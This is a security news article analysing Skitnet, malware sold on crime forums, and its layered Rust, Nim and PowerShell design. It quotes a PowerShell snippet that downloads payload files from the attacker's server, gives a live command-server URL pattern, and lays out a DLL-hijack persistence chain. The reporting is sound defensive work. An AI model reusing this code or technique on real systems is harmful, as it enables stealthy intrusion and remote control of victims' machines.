Skitnet Malware: A Covert Multi-Language Framework Redefining Stealth and Persistence
Security analysts have uncovered Skitnet, a newly emerged malware strain—also circulated under the alias Bossnet—engineered with a layered architecture and advanced evasion features designed for stealthy payload execution and long-term persistence.
First seen in the wild in April 2024, Skitnet is being actively marketed on cybercrime forums as a plug-and-play infection toolkit. Sold as a bundled suite, it comes with a full-featured command server, custom malware binaries, and automated Bash-based deployment—allowing even low-skilled actors to initiate attacks with minimal effort.
Multi-Language Build for Maximum Evasion
What sets Skitnet apart is its hybrid programming stack, combining Rust, Nim, .NET, and PowerShell. This unconventional mix enables deep evasion from static and behavioral analysis tools. Its modular design supports flexible payload delivery while keeping system footprints low and avoiding easy detection.
The backend server component proactively scrubs logs, IP addresses, shell history, and cached artifacts to preempt forensic examination. This includes automatic sanitization of every interaction point with infected machines.
Encryption and Manual Payload Mapping
Researchers from Catalyst discovered that Skitnet’s infection sequence begins with a Rust-based dropper embedded with a payload encrypted using ChaCha20. Instead of writing the decrypted code to disk, it is directly mapped into memory using a customized DInvoke-rs routine—bypassing traditional disk-based detection layers entirely.
This payload transitions into a Nim-based second-stage module, which stealthily connects to its command server using DNS tunneling—a method often overlooked by firewalls and threat monitoring tools.
To evade API-based detection, the Nim component skips traditional import tables, instead resolving Windows APIs on the fly via GetProcAddress, making static analysis and signature matching ineffective.
Entrenched Persistence with Trusted Software Hijack
Skitnet’s persistence strategy cleverly exploits legitimate software behaviors. When triggered, the malware downloads three files to C:\ProgramData\huo:
ISP.exe– a digitally signed application from ASUSTeK Computer Inc.SnxHidLib.DLL– a malicious payload disguised as a legitimate librarypas.ps1– a PowerShell script handling the persistence routine
Powershell
$filesDownloadLink = $ip + ‘api/file/get-file/’
$filesDir = ‘C:\ProgramData\huo’
$files = @(
@{‘name’ = ‘ISP.exe’; ‘link’ = $filesDownloadLink + ‘ISP’},
@{‘name’ = ‘SnxHidLib.DLL’; ‘link’ = $filesDownloadLink + ‘SnxHidLib.DLL’},
@{‘name’ = ‘pas.ps1’; ‘link’ = $filesDownloadLink + ‘pas.ps1’}
)
By taking advantage of the ASUS executable’s search path behavior, Skitnet hijacks execution via DLL preloading. When ISP.exe starts, it unwittingly loads the malicious SnxHidLib.DLL, which spins up a PowerShell instance to execute the pas.ps1 script.
This script queries the local machine’s C: drive serial number and pings the C2 server using a stealth URL format:http://178.236.247.7/{serial_number}. Each response includes encrypted PowerShell commands executed in real time using Invoke-Expression.
Persistence is finalized by placing a Startup folder shortcut to ISP.exe, ensuring the malware survives reboots and maintains an unobtrusive presence on the system.
Post-Exploitation Capabilities
Beyond persistence, Skitnet empowers attackers with a rich set of post-compromise tools:
- Stealth Screenshot Capture – images exfiltrated via Imgur
- Legitimate RAT Deployment – including seamless installation of AnyDesk
- Encrypted Shell Access – providing direct command execution within an encrypted C2 channel
A New Threat Class in the Wild
Skitnet reflects a notable evolution in modular malware, fusing evasive scripting, legitimate software exploitation, and in-memory execution—all wrapped in a toolkit accessible to even low-tier threat actors. Its design effectively bypasses many legacy detection techniques, raising the bar for defenders.
As Skitnet continues to circulate in the underground market, it highlights the urgent need for adaptive, memory-aware, and behavior-driven security solutions.
